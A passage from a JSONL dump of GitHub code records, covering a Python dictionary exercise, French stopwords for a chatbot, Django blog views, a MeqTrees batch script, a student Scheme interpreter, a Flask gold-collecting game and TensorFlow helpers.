tag_name=tag_name)","repo_name":"HaoREN211/hao_flask","sub_path":"app/main/routes/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14455062453","text":"dict = {\"Rice\": 30,\r\n \"wheat\": 27,\r\n \"oil\": 50,\r\n \"Rice\": 20}\r\n\r\nprint(dict)\r\n# print(type(dict))\r\n# print(\" Length of dictionary : \", len(dict))\r\n# data = dict.get(\"oil\")\r\n# data = dict.keys()\r\n# data = dict.values()\r\n# data = dict.items()\r\n# print(data)\r\n\r\ndict.update({\"sugar\": 30})\r\nprint(\" After updating : \", dict)\r\n# poped = dict.pop(\"sugar\")\r\n# print(\"Poped item : \", poped)\r\n\r\n# del dict[\"sugar\"]\r\n# print(dict)\r\n\r\n# data = dict.popitem()\r\n# print(data)\r\n\r\n# del dict\r\n\r\n# dict.clear()\r\n# print(dict)\r\n\r\ndict2 = dict.copy()\r\nprint(\"dict2 : \", dict2)","repo_name":"ayushbhandarkar/Python-Programmming-2","sub_path":"dictionary1.py","file_name":"dictionary1.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30194368122","text":"#! /usr/bin/env python\n# coding: utf-8\n\nSTOPWORDS = [\n \"a\",\n \"abord\",\n \"absolument\",\n \"afin\",\n \"ah\",\n \"ai\",\n \"aie\",\n \"ailleurs\",\n \"ainsi\",\n \"ait\",\n \"allaient\",\n \"allo\",\n \"allons\",\n \"allô\",\n \"alors\",\n \"anterieur\",\n \"anterieure\",\n \"anterieures\",\n \"apres\",\n \"après\",\n \"as\",\n \"assez\",\n \"attendu\",\n \"au\",\n \"aucun\",\n \"aucune\",\n \"aujourd\",\n \"aujourd'hui\",\n \"aupres\",\n \"auquel\",\n \"aura\",\n \"auraient\",\n \"aurait\",\n \"auront\",\n \"aussi\",\n \"autre\",\n \"autrefois\",\n \"autrement\",\n \"autres\",\n \"autrui\",\n \"aux\",\n \"auxquelles\",\n \"auxquels\",\n \"avaient\",\n \"avais\",\n \"avait\",\n \"avant\",\n \"avec\",\n \"avoir\",\n \"avons\",\n \"ayant\",\n \"b\",\n \"bah\",\n \"bas\",\n \"basee\",\n \"bat\",\n \"beau\",\n \"beaucoup\",\n \"bien\",\n \"bigre\",\n \"boum\",\n \"bravo\",\n \"brrr\",\n \"c\",\n \"car\",\n \"ce\",\n \"ceci\",\n \"cela\",\n \"celle\",\n \"celle-ci\",\n \"celle-là\",\n \"celles\",\n \"celles-ci\",\n \"celles-là\",\n \"celui\",\n \"celui-ci\",\n \"celui-là\",\n \"cent\",\n \"cependant\",\n \"certain\",\n \"certaine\",\n \"certaines\",\n \"certains\",\n \"certes\",\n \"ces\",\n \"cet\",\n \"cette\",\n \"ceux\",\n \"ceux-ci\",\n \"ceux-là\",\n \"chacun\",\n \"chacune\",\n \"chaque\",\n \"cher\",\n \"chers\",\n \"chez\",\n \"chiche\",\n \"chut\",\n \"chère\",\n \"chères\",\n \"ci\",\n \"cinq\",\n \"cinquantaine\",\n \"cinquante\",\n \"cinquantième\",\n \"cinquième\",\n \"clac\",\n \"clic\",\n \"combien\",\n \"comme\",\n \"comment\",\n \"comparable\",\n \"comparables\",\n \"compris\",\n \"concernant\",\n \"contre\",\n \"couic\",\n \"crac\",\n \"d\",\n \"da\",\n \"dans\",\n \"de\",\n \"debout\",\n \"dedans\",\n \"dehors\",\n \"deja\",\n \"delà\",\n \"depuis\",\n \"dernier\",\n \"derniere\",\n \"derriere\",\n \"derrière\",\n \"des\",\n \"desormais\",\n \"desquelles\",\n \"desquels\",\n \"dessous\",\n \"dessus\",\n \"deux\",\n \"deuxième\",\n \"deuxièmement\",\n \"devant\",\n \"devers\",\n \"devra\",\n \"different\",\n \"differentes\",\n \"differents\",\n \"différent\",\n \"différente\",\n \"différentes\",\n \"différents\",\n \"dire\",\n \"directe\",\n \"directement\",\n \"dit\",\n \"dite\",\n \"dits\",\n \"divers\",\n \"diverse\",\n \"diverses\",\n \"dix\",\n \"dix-huit\",\n \"dix-neuf\",\n \"dix-sept\",\n \"dixième\",\n \"doit\",\n \"doivent\",\n \"donc\",\n \"dont\",\n \"douze\",\n \"douzième\",\n \"dring\",\n \"du\",\n \"duquel\",\n \"durant\",\n \"dès\",\n \"désormais\",\n \"e\",\n \"effet\",\n \"egale\",\n \"egalement\",\n \"egales\",\n \"eh\",\n \"elle\",\n \"elle-même\",\n \"elles\",\n \"elles-mêmes\",\n \"en\",\n \"encore\",\n \"enfin\",\n \"entre\",\n \"envers\",\n \"environ\",\n \"es\",\n \"est\",\n \"et\",\n \"etant\",\n \"etc\",\n \"etre\",\n \"eu\",\n \"euh\",\n \"eux\",\n \"eux-mêmes\",\n \"exactement\",\n \"excepté\",\n \"extenso\",\n \"exterieur\",\n \"f\",\n \"fais\",\n \"faisaient\",\n \"faisant\",\n \"fait\",\n \"façon\",\n \"feront\",\n \"fi\",\n \"flac\",\n \"floc\",\n \"font\",\n \"g\",\n \"gens\",\n \"h\",\n \"ha\",\n \"hein\",\n \"hem\",\n \"hep\",\n \"hi\",\n \"ho\",\n \"holà\",\n \"hop\",\n \"hormis\",\n \"hors\",\n \"hou\",\n \"houp\",\n \"hue\",\n \"hui\",\n \"huit\",\n \"huitième\",\n \"hum\",\n \"hurrah\",\n \"hé\",\n \"hélas\",\n \"i\",\n \"il\",\n \"ils\",\n \"importe\",\n \"j\",\n \"je\",\n \"jusqu\",\n \"jusque\",\n \"juste\",\n \"k\",\n \"l\",\n \"la\",\n \"laisser\",\n \"laquelle\",\n \"las\",\n \"le\",\n \"lequel\",\n \"les\",\n \"lesquelles\",\n \"lesquels\",\n \"leur\",\n \"leurs\",\n \"longtemps\",\n \"lors\",\n \"lorsque\",\n \"lui\",\n \"lui-meme\",\n \"lui-même\",\n \"là\",\n \"lès\",\n \"m\",\n \"ma\",\n \"maint\",\n \"maintenant\",\n \"mais\",\n \"malgre\",\n \"malgré\",\n \"maximale\",\n \"me\",\n \"meme\",\n \"memes\",\n \"merci\",\n \"mes\",\n \"mien\",\n \"mienne\",\n \"miennes\",\n \"miens\",\n \"mille\",\n \"mince\",\n \"minimale\",\n \"moi\",\n \"moi-meme\",\n \"moi-même\",\n \"moindres\",\n \"moins\",\n \"mon\",\n \"moyennant\",\n \"multiple\",\n \"multiples\",\n \"même\",\n \"mêmes\",\n \"n\",\n \"na\",\n \"naturel\",\n \"naturelle\",\n \"naturelles\",\n \"ne\",\n \"neanmoins\",\n \"necessaire\",\n \"necessairement\",\n \"neuf\",\n \"neuvième\",\n \"ni\",\n \"nombreuses\",\n \"nombreux\",\n \"non\",\n \"nos\",\n \"notamment\",\n \"notre\",\n \"nous\",\n \"nous-mêmes\",\n \"nouveau\",\n \"nul\",\n \"néanmoins\",\n \"nôtre\",\n \"nôtres\",\n \"o\",\n \"oh\",\n \"ohé\",\n \"ollé\",\n \"olé\",\n \"on\",\n \"ont\",\n \"onze\",\n \"onzième\",\n \"ore\",\n \"ou\",\n \"ouf\",\n \"ouias\",\n \"oust\",\n \"ouste\",\n \"outre\",\n \"ouvert\",\n \"ouverte\",\n \"ouverts\",\n \"o|\",\n \"où\",\n \"p\",\n \"paf\",\n \"pan\",\n \"par\",\n \"parce\",\n \"parfois\",\n \"parle\",\n \"parlent\",\n \"parler\",\n \"parmi\",\n \"parseme\",\n \"partant\",\n \"particulier\",\n \"particulière\",\n \"particulièrement\",\n \"pas\",\n \"passé\",\n \"pendant\",\n \"pense\",\n \"permet\",\n \"personne\",\n \"peu\",\n \"peut\",\n \"peuvent\",\n \"peux\",\n \"pff\",\n \"pfft\",\n \"pfut\",\n \"pif\",\n \"pire\",\n \"plein\",\n \"plouf\",\n \"plus\",\n \"plusieurs\",\n \"plutôt\",\n \"possessif\",\n \"possessifs\",\n \"possible\",\n \"possibles\",\n \"pouah\",\n \"pour\",\n \"pourquoi\",\n \"pourrais\",\n \"pourrait\",\n \"pouvait\",\n \"prealable\",\n \"precisement\",\n \"premier\",\n \"première\",\n \"premièrement\",\n \"pres\",\n \"probable\",\n \"probante\",\n \"procedant\",\n \"proche\",\n \"près\",\n \"psitt\",\n \"pu\",\n \"puis\",\n \"puisque\",\n \"pur\",\n \"pure\",\n \"q\",\n \"qu\",\n \"quand\",\n \"quant\",\n \"quant-à-soi\",\n \"quanta\",\n \"quarante\",\n \"quatorze\",\n \"quatre\",\n \"quatre-vingt\",\n \"quatrième\",\n \"quatrièmement\",\n \"que\",\n \"quel\",\n \"quelconque\",\n \"quelle\",\n \"quelles\",\n \"quelqu'un\",\n \"quelque\",\n \"quelques\",\n \"quels\",\n \"qui\",\n \"quiconque\",\n \"quinze\",\n \"quoi\",\n \"quoique\",\n \"r\",\n \"rare\",\n \"rarement\",\n \"rares\",\n \"relative\",\n \"relativement\",\n \"remarquable\",\n \"rend\",\n \"rendre\",\n \"restant\",\n \"reste\",\n \"restent\",\n \"restrictif\",\n \"retour\",\n \"revoici\",\n \"revoilà\",\n \"rien\",\n \"s\",\n \"sa\",\n \"sacrebleu\",\n \"sait\",\n \"sans\",\n \"sapristi\",\n \"sauf\",\n \"se\",\n \"sein\",\n \"seize\",\n \"selon\",\n \"semblable\",\n \"semblaient\",\n \"semble\",\n \"semblent\",\n \"sent\",\n \"sept\",\n \"septième\",\n \"sera\",\n \"seraient\",\n \"serait\",\n \"seront\",\n \"ses\",\n \"seul\",\n \"seule\",\n \"seulement\",\n \"si\",\n \"sien\",\n \"sienne\",\n \"siennes\",\n \"siens\",\n \"sinon\",\n \"six\",\n \"sixième\",\n \"soi\",\n \"soi-même\",\n \"soit\",\n \"soixante\",\n \"son\",\n \"sont\",\n \"sous\",\n \"souvent\",\n \"specifique\",\n \"specifiques\",\n \"speculatif\",\n \"stop\",\n \"strictement\",\n \"subtiles\",\n \"suffisant\",\n \"suffisante\",\n \"suffit\",\n \"suis\",\n \"suit\",\n \"suivant\",\n \"suivante\",\n \"suivantes\",\n \"suivants\",\n \"suivre\",\n \"superpose\",\n \"sur\",\n \"surtout\",\n \"t\",\n \"ta\",\n \"tac\",\n \"tant\",\n \"tardive\",\n \"te\",\n \"tel\",\n \"telle\",\n \"tellement\",\n \"telles\",\n \"tels\",\n \"tenant\",\n \"tend\",\n \"tenir\",\n \"tente\",\n \"tes\",\n \"tic\",\n \"tien\",\n \"tienne\",\n \"tiennes\",\n \"tiens\",\n \"toc\",\n \"toi\",\n \"toi-même\",\n \"ton\",\n \"touchant\",\n \"toujours\",\n \"tous\",\n \"tout\",\n \"toute\",\n \"toutefois\",\n \"toutes\",\n \"treize\",\n \"trente\",\n \"tres\",\n \"trois\",\n \"troisième\",\n \"troisièmement\",\n \"trop\",\n \"très\",\n \"tsoin\",\n \"tsouin\",\n \"tu\",\n \"té\",\n \"u\",\n \"un\",\n \"une\",\n \"unes\",\n \"uniformement\",\n \"unique\",\n \"uniques\",\n \"uns\",\n \"v\",\n \"va\",\n \"vais\",\n \"vas\",\n \"vers\",\n \"via\",\n \"vif\",\n \"vifs\",\n \"vingt\",\n \"vivat\",\n \"vive\",\n \"vives\",\n \"vlan\",\n \"voici\",\n \"voilà\",\n \"vont\",\n \"vos\",\n \"votre\",\n \"vous\",\n \"vous-mêmes\",\n \"vu\",\n \"vé\",\n \"vôtre\",\n \"vôtres\",\n \"w\",\n \"x\",\n \"y\",\n \"z\",\n \"zut\",\n \"à\",\n \"â\",\n \"ça\",\n \"ès\",\n \"étaient\",\n \"étais\",\n \"était\",\n \"étant\",\n \"été\",\n \"être\",\n \"ô\"]\n\nCUSTOM_STOPWORDS = [\n \"salut\",\n \"bonjour\",\n \"hello\",\n \"grandpy\",\n \"grandpybot\",\n \"grand-père\",\n \"papy\",\n \"bot\",\n \"connais\",\n \"connaissais\",\n \"connu\",\n \"adresse\",\n \"lieu\",\n \"endroit\",\n \"s'appelle\",\n \"si\",\n \"s'il\",\n \"te\",\n \"plaît\",\n \"stp\",\n \"merci\",\n \"sais\",\n \"sais-tu\",\n \"saurais\",\n \"saurais-tu\",\n \"sauriez\",\n \"sauriez-vous\",\n \"trouve\",\n \"veux\",\n \"voudrais\",\n \"souhaite\",\n \"souhaiterais\",\n \"voir\",\n \"aller\",\n \"rendre\",\n \"indiquer\",\n \"visiter\"]\n\nWIKIFOUND = [\n \"HA ha! Oui, je connais bien. Je vais te raconter ce que je sais sur cet endroit.\",\n \" Restes assis mon petiot, je vais te conter l'histoire de ce lieu. \",\n \"Comme tu es attentif, je vais te raconter l'histoire de cet endroit. \",\n \"Je vais te surprendre en te racontant l'histoire de ce lieu. He oui, Grandpy sait tout\"]\n\nGOOGLEFOUND = [\n \"Mémoire d'éléphant hein! le grandpybot, voici l'adresse: \",\n \"Super ! Je me souviens de l'adresse la voici! \",\n \"heureka ! Ha oui oui oui, mais bien sûr, je me rappelle de cette endroit, voilà son emplacement ! \",\n \"Champion du monde de la mémoire, Grandpy sait tout! Ca se trouve... \",\n \"Ben oui, voyons ! GrandPy sait tout! Voici l'adresse! \"]\n\nWIKINOTFOUND = [\n \"Flute! J'ai un trou de mémoire, c'est ballot!! Du coup, je n'ai rien à te raconter sur ce lieu. \",\n \"Je me creuse la tête mais je n'ai pas de souvenir de cet endroit ! \",\n \"Je n'ai pas souvenir de cet endroit, en fait...je ne me souviens de rien \",\n \"Mayday mayday ! RAS sur ce lieu.\",\n \"Haaa! Appellez une amblance, je perd la mémoire, après nonante recherches, je ne trouve pas de souvenir de ce lieu, une fois! Quoi...? Y'a un 'U' à amblance ????'\"]\n\nGOOGLENOTFOUND = [\n \"Heuuu ! Faudra demander l'adresse au facteur, je ne sais pas où se trouve cet endroit! \",\n \"Tu m'as eu là...heu, je ne me souviens pas où se trouve ce lieu ! \",\n \"Je ne connais pas cette adresse, c'est mon dernier mot Jean-Pierre ,il faut appeler un ami ou renouveller ta requête. \",\n \"Oups ! Je ne connais pas cette adresse \"]\n","repo_name":"Mystic67/P7_Grandpybot","sub_path":"grandpybotapp/utils/settings/texts_config.py","file_name":"texts_config.py","file_ext":"py","file_size_in_byte":10475,"program_lang":"python","lang":"hr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8863469575","text":"from django.shortcuts import render\nfrom django.http import HttpResponseNotFound, HttpResponse\nfrom .models import tag, post\nfrom user.models import customuser\nfrom django.contrib.auth.models import User\n\n# Create your views here.\n\ndef mainpage(request, name):\n\ttry:\n\t\tpage = User.objects.get(username=name)\n\t\tposts = list(page.customuser.post_set.all())\n\t\treturn render(request, 'posts/base.html', {'person' : page.customuser, 'posts':posts})\n\texcept User.DoesNotExist:\n\t\treturn HttpResponseNotFound(\"Not Found

The User does not exists.

\")\n\ndef tagspage(request, name):\n\ttry:\n\t\tpage = tag.objects.get(first_name=name)\n\t\tposts = list(page.post_set.all())\n\t\tif posts:\n\t\t\treturn render(request, 'posts/tags.html', {'tag' : page, 'posts':posts})\n\t\telse:\n\t\t\treturn HttpResponseNotFound(\"Not Found

There is no post with this tag.

\")\n\texcept tag.DoesNotExist:\n\t\treturn HttpResponseNotFound(\"Not Found

There is no post with this tag.

\")\n\ndef postview(request, name, postkey):\n\ttry:\n\t\tpage = User.objects.get(username=name)\n\t\ttry:\n\t\t\tmy_post = post.objects.get(pk=postkey)\n\t\t\tif my_post.creator.user == page:\t\n\t\t\t\treturn render(request, 'posts/full.html', {'post':my_post})\n\t\texcept post.DoesNotExist:\n\t\t\tposts = list(page.customuser.post_set.all())\n\t\t\treturn render(request, 'posts/base.html', {'person' : page.customuser, 'posts':posts})\n\texcept User.DoesNotExist:\n\t\treturn HttpResponseNotFound(\"Not Found

The User does not exists.

\")\n\ndef index(request):\n\tposts = post.objects.order_by(\"-pk\")[:5]\n\treturn render(request, 'posts/home.html', {'posts':posts})\n","repo_name":"ram-nad/django-blog","sub_path":"posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70924619880","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#\n# This shows how to run a TDL script in a pipeline (aka batch-mode, aka headless mode)\n#\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nif __name__ == '__main__':\n from Timba.Apps import meqserver\n from Timba.TDL import Compile\n from Timba.TDL import TDLOptions\n\n # This starts a meqserver. Note how we pass the \"-mt 2\" option to run two threads.\n # A proper pipeline script may want to get the value of \"-mt\" from its own arguments (sys.argv).\n print(\"Starting meqserver\");\n mqs = meqserver.default_mqs(wait_init=10,extra=[\"-mt\",\"2\"]);\n\n # Once we're connected to a server, some cleanup is required before we can exit the script.\n # Since we want to perform this cleanup regardless of whether the script ran to completion\n # or was interrupted by an exception midway through, we use a try...finally block.\n try:\n\n TDLOptions.config.read(\"batch_sim_example.tdl.conf\");\n\n script = \"example-sim.py\";\n print(\"========== Compiling batch job 1\");\n mod,ns,msg = Compile.compile_file(mqs,script,config=\"batch job 1\");\n print(\"========== Running batch job 1\");\n mod._tdl_job_1_simulate_MS(mqs,None,wait=True);\n\n print(\"========== Compiling batch job 2\");\n mod,ns,msg = Compile.compile_file(mqs,script,config=\"batch job 2\");\n print(\"========== Running batch job 2\");\n mod._tdl_job_1_simulate_MS(mqs,None,wait=True);\n\n print(\"========== Compiling batch job 2 with modified config\");\n TDLOptions.init_options(\"batch job 2\",save=False);\n TDLOptions.set_option(\"me.enable_G\",False);\n mod,ns,msg = Compile.compile_file(mqs,script,config=None);\n print(\"========== Running batch job 2\");\n mod._tdl_job_1_simulate_MS(mqs,None,wait=True);\n\n ### Cleanup time\n finally:\n print(\"Stopping meqserver\");\n # this halts the meqserver\n meqserver.stop_default_mqs();\n # now we can exit\n print(\"Bye!\");\n","repo_name":"ratt-ru/meqtrees-cattery","sub_path":"Cattery/Siamese/batch_sim_example.py","file_name":"batch_sim_example.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"40095666228","text":"# BuiltIn -- the data structure for built-in functions\r\n\r\n# Class BuiltIn is used for representing the value of built-in functions\r\n# such as +. Populate the initial environment with\r\n# (name, BuiltIn(name)) pairs.\r\n\r\n# The object-oriented style for implementing built-in functions would be\r\n# to include the Python methods for implementing a Scheme built-in in the\r\n# BuiltIn object. This could be done by writing one subclass of class\r\n# BuiltIn for each built-in function and implementing the method apply\r\n# appropriately. This requires a large number of classes, though.\r\n# Another alternative is to program BuiltIn.apply() in a functional\r\n# style by writing a large if-then-else chain that tests the name of\r\n# the function symbol.\r\n\r\nimport sys\r\nfrom Parse import *\r\nfrom Tree import Node\r\nfrom Tree import BoolLit\r\nfrom Tree import IntLit\r\nfrom Tree import StrLit\r\nfrom Tree import Ident\r\nfrom Tree import Nil\r\nfrom Tree import Cons\r\nfrom Tree import TreeBuilder\r\n#from Tree import Unspecific\r\n\r\nclass BuiltIn(Node):\r\n env = None\r\n util = None\r\n\r\n @classmethod\r\n def setEnv(cls, e):\r\n cls.env = e\r\n\r\n @classmethod\r\n def setUtil(cls, u):\r\n cls.util = u\r\n\r\n def __init__(self, s):\r\n self.symbol = s # the Ident for the built-in function\r\n\r\n def getSymbol(self):\r\n return self.symbol\r\n\r\n def isProcedure(self):\r\n return True\r\n\r\n def print(self, n, p=False):\r\n for _ in range(n):\r\n sys.stdout.write(' ')\r\n sys.stdout.write(\"#{Built-In Procedure \")\r\n if self.symbol != None:\r\n self.symbol.print(-abs(n) - 1)\r\n sys.stdout.write('}')\r\n if n >= 0:\r\n sys.stdout.write('\\n')\r\n sys.stdout.flush()\r\n\r\n # TODO: The method apply() should be defined in class Node\r\n # to report an error. It should be overridden only in classes\r\n # BuiltIn and Closure.\r\n def apply(self, args):\r\n #figure out size of args, then figure out what to do from there\r\n size = BuiltIn.util.length(args)\r\n if size > 2:\r\n self._error(\"wrong number of arguments\")\r\n if size == 0:\r\n return self.__apply0()\r\n if size == 1:\r\n return self.__apply1(args.getCar())\r\n return self.__apply2(args.getCar(), args.getCdr().getCar())\r\n\r\n ## The easiest way to implement BuiltIn.apply is as an\r\n ## if-then-else chain testing for the different names of\r\n ## the built-in functions.\r\n\r\n def __apply0(self):\r\n name = self.symbol.getName()\r\n\r\n if name == 'read':\r\n scanner = Scanner(sys.stdin)\r\n builder = TreeBuilder()\r\n parser = Parser(scanner, builder)\r\n root = parser.parseExp()\r\n if root != None:\r\n return tree\r\n \r\n elif name == 'newline':\r\n sys.stdout.write('\\n')\r\n sys.stdout.flush()\r\n return Nil.getInstance()\r\n\r\n if name == 'interaction-environment':\r\n return BuiltIn.env\r\n\r\n self._error(\"invalid builtin function call for \" + name)\r\n return Nil.getInstance()\r\n\r\n def __apply1(self, arg):\r\n name = self.symbol.getName()\r\n\r\n if name == 'symbol?':\r\n return BoolLit.getInstance(arg.isSymbol())\r\n\r\n elif name == ' number?':\r\n return BoolLit.getInstance(arg.isNumber())\r\n\r\n elif name == 'car':\r\n return arg.getCar()\r\n\r\n elif name == 'cdr':\r\n return arg.getCdr()\r\n\r\n elif name == 'null?':\r\n return BoolLit.getInstance(arg.isNull())\r\n\r\n elif name == 'pair':\r\n return BoolLit.getInstance(arg.isPair())\r\n\r\n elif name == 'procedure?':\r\n return BoolLit.getInstance(arg.isProcedure())\r\n\r\n elif name == 'write':\r\n arg.print(0)\r\n return Nil.getInstance()\r\n \r\n elif name == 'display':\r\n #TODO\r\n pass\r\n\r\n elif name == 'load':\r\n if not arg.isString():\r\n self._error(\"wrong type of argument\")\r\n return Nil.getInstance()\r\n filename = arg.strVal\r\n try:\r\n scanner = Scanner(open(filename))\r\n builder = TreeBuilder()\r\n parser = Parser(scanner, builder)\r\n\r\n root = parser.parseExp()\r\n while root != None:\r\n root.eval(BuiltIn.env)\r\n root = parser.parseExp()\r\n except IOError:\r\n self._error(\"could not find file \" + filename)\r\n return Nil.getInstance()\r\n \r\n self._error(\"invalid builtin function call for \" + name)\r\n return Nil.getInstance()\r\n\r\n def __apply2(self, arg1, arg2):\r\n name = self.symbol.getName()\r\n\r\n #binary operators all start with b_\r\n if arg1.isNumber() and arg2.isNumber() and name[0] == 'b':\r\n if name == 'b>':\r\n return BoolLit.getInstance(arg1.intVal > arg2.intVal)\r\n elif name == 'b<':\r\n return BoolLit.getInstance(arg1.intVal < arg2.intVal)\r\n elif name == 'b+':\r\n return IntLit(arg1.intVal + arg2.intVal)\r\n elif name == 'b-':\r\n return IntLit(arg1.intVal - arg2.intVal)\r\n elif name == 'b*':\r\n return IntLit(arg1.intVal * arg2.intVal)\r\n elif name == 'b/':\r\n return IntLit(arg1.intVal / arg2.intVal)\r\n elif name == 'b=':\r\n return BoolLit.getInstance(arg1.intVal == arg2.intVal)\r\n self._error(\"invalid binary operation\")\r\n\r\n elif name == 'cons':\r\n return Cons(arg1, arg2)\r\n\r\n elif name == 'set-car!':\r\n arg1.setCar(arg2)\r\n return Nil.getInstance()\r\n\r\n elif name == 'set-cdr!':\r\n arg1.setCdr(arg2)\r\n return Nil.getInstance()\r\n\r\n elif name == 'eq?':\r\n #TODO: fix error with two equal variables giving #f when eq?\r\n return BoolLit.getInstance(arg1 == arg2)\r\n\r\n elif name == 'eval':\r\n return arg1.eval(arg2)\r\n\r\n elif name == 'apply':\r\n return arg1.apply(arg2)\r\n\r\n self._error(\"invalid builtin function call for \" + name)\r\n return Nil.getInstance()\r\n\r\n\r\n\r\n","repo_name":"inezat/Python-Projects","sub_path":"prog2/Tree/BuiltIn.py","file_name":"BuiltIn.py","file_ext":"py","file_size_in_byte":6346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"309175423","text":"import sys\n\n# Get the input file\nassert len(sys.argv) > 1\ninputname = sys.argv[1]\n\n# Read input\nwith open(inputname, 'r') as f:\n\tstr = f.readline()\n\t\n# Solution here:\ni = 0\n\nresult = True\ncounter = 0\nwhile i < len(str):\n\tif str[i] == '1':\n\t\tcounter = 2\n\telse:\n\t\tif str[i] == '4':\n\t\t\tcounter -= 1\n\t\t\tif counter < 0:\n\t\t\t\tresult = False\n\t\t\t\tbreak\n\t\telse:\n\t\t\tresult = False\n\t\t\tbreak\n\t\n\ti+=1\n\t\nif not len(str):\n\tresult = False\n\t\t\n\t\n\n# Write to the output file\noutputname = inputname[0:-3] + '.res'\nwith open(outputname, 'w') as f:\n\tif result:\n\t\tf.write('YES')\n\telse: \n\t\tf.write('NO')","repo_name":"smetanadvorak/programming_problems","sub_path":"codeforces/easy/magic_numbers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23986638983","text":"from flask import Flask, render_template, redirect, session, request\nimport random\nfrom datetime import datetime\napp = Flask(__name__)\napp.secret_key = 'sortOfaSecret'\n\n@app.route('/')\ndef index():\n\tif 'gold' not in session:\n\t\tsession['gold'] = 0\n\t\tsession['activities'] = []\n\treturn render_template(\"index.html\", gold=session['gold'], activities=session['activities'])\n\n@app.route('/process_money', methods=['POST'])\ndef process_money():\n\ttime_of_click = datetime.now().strftime(\"%Y-%m-%d %H:%M\")\n\tlocation = request.form['loc']\n\tif location == \"farm\":\n\t\tgold = random.randint(10, 20)\n\t\tsession['activities'].append({'activity':'Earned {} golds from the farm! ({})'.format(gold, time_of_click), 'class':'gain'})\n\telif location == \"cave\":\n\t\tgold = random.randint(5, 10)\n\t\tsession['activities'].append({'activity':'Earned {} golds from the cave! ({})'.format(gold, time_of_click), 'class':'gain'})\n\telif location == \"house\":\n\t\tgold = random.randint(2, 5)\n\t\tsession['activities'].append({'activity':'Earned {} golds from the house! ({})'.format(gold, time_of_click), 'class':'gain'})\n\telif location == \"casino\":\n\t\tgold = random.randint(-50, 50)\n\t\tif gold > 0:\n\t\t\tsession['activities'].append({'activity':'Entered a casino and won {} golds! ({})'.format(gold, time_of_click), 'class':'gain'})\t\n\t\telse:\n\t\t\tsession['activities'].append({'activity':'Entered a casino and lost {} golds! ({})'.format(gold, time_of_click), 'class':'lose'})\n\t\n\tsession['gold'] += gold\n\treturn redirect('/')\n\n@app.route('/reset')\ndef reset():\n\tsession.pop('gold')\n\tsession.pop('activities')\n\treturn redirect('/')\n\napp.run(debug=True)","repo_name":"py1-10-2017/nathan-m-python1","sub_path":"flask/ninja_gold/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30066932058","text":"import tensorflow as tf\nimport numpy as np\nimport traceback\nimport os\nimport sys\n\ndef ortho_init(scale=1.0):\n def _ortho_init(shape, dtype, partition_info=None):\n #lasagne ortho init for tf\n shape = tuple(shape)\n if len(shape) == 2:\n flat_shape = shape\n elif len(shape) == 4: # assumes NHWC\n flat_shape = (np.prod(shape[:-1]), shape[-1])\n else:\n raise NotImplementedError\n a = np.random.normal(0.0, 1.0, flat_shape)\n u, _, v = np.linalg.svd(a, full_matrices=False)\n q = u if u.shape == flat_shape else v # pick the one with the correct shape\n q = q.reshape(shape)\n return (scale * q[:shape[0], :shape[1]]).astype(np.float32)\n return _ortho_init\n\n\ndef fc(x, scope, nh, *, init_scale=1.0, init_bias=0.0, trainable=True):\n with tf.variable_scope(scope):\n nin = x.get_shape()[1].value\n w = tf.get_variable(\"w\", [nin, nh], initializer=ortho_init(init_scale), trainable=trainable)\n b = tf.get_variable(\"b\", [nh], initializer=tf.constant_initializer(init_bias), trainable=trainable)\n return tf.matmul(x, w)+b\n\ndef conv(x, scope, *, nf, rf, stride, pad='VALID', init_scale=1.0, trainable=True):\n with tf.variable_scope(scope):\n nin = x.get_shape()[3].value\n w = tf.get_variable(\"w\", [rf, rf, nin, nf], initializer=ortho_init(init_scale), trainable=trainable)\n b = tf.get_variable(\"b\", [nf], initializer=tf.constant_initializer(0.0), trainable=trainable)\n return tf.nn.conv2d(x, w, strides=[1, stride, stride, 1], padding=pad)+b\n\ndef flatten(x):\n return tf.reshape(x, [-1, np.prod(x.get_shape().as_list()[1:])])\n\n\ndef gaussian_log_likelihood(x, mean, sig, eps=1e-8):\n # compute log P(x) for diagonal Guassian\n # -1/2 log( (2pi)^k sig_1 * sig_2 * ... * sig_k ) - sum_i 1/2sig_i^2 (x_i - m_i)^2\n return -0.5 * tf.reduce_sum( tf.log(2.*np.pi*sig*sig + eps)\n + tf.square(x-mean)/(sig*sig + eps), axis=1)\n\ndef colored_hook(home_dir):\n \"\"\"Colorizes python's error message.\n Args:\n home_dir: directory where code resides (to highlight your own files).\n Returns:\n The traceback hook.\n \"\"\"\n\n def hook(type_, value, tb):\n def colorize(text, color, own=0):\n \"\"\"Returns colorized text.\"\"\"\n endcolor = \"\\x1b[0m\"\n codes = {\n \"green\": \"\\x1b[0;32m\",\n \"green_own\": \"\\x1b[1;32;40m\",\n \"red\": \"\\x1b[0;31m\",\n \"red_own\": \"\\x1b[1;31m\",\n \"yellow\": \"\\x1b[0;33m\",\n \"yellow_own\": \"\\x1b[1;33m\",\n \"black\": \"\\x1b[0;90m\",\n \"black_own\": \"\\x1b[1;90m\",\n \"cyan\": \"\\033[1;36m\",\n }\n return codes[color + (\"_own\" if own else \"\")] + text + endcolor\n\n for filename, line_num, func, text in traceback.extract_tb(tb):\n basename = os.path.basename(filename)\n own = (home_dir in filename) or (\"/\" not in filename)\n\n print(colorize(\"\\\"\" + basename + '\"', \"green\", own) + \" in \" + func)\n print(\"%s: %s\" % (\n colorize(\"%5d\" % 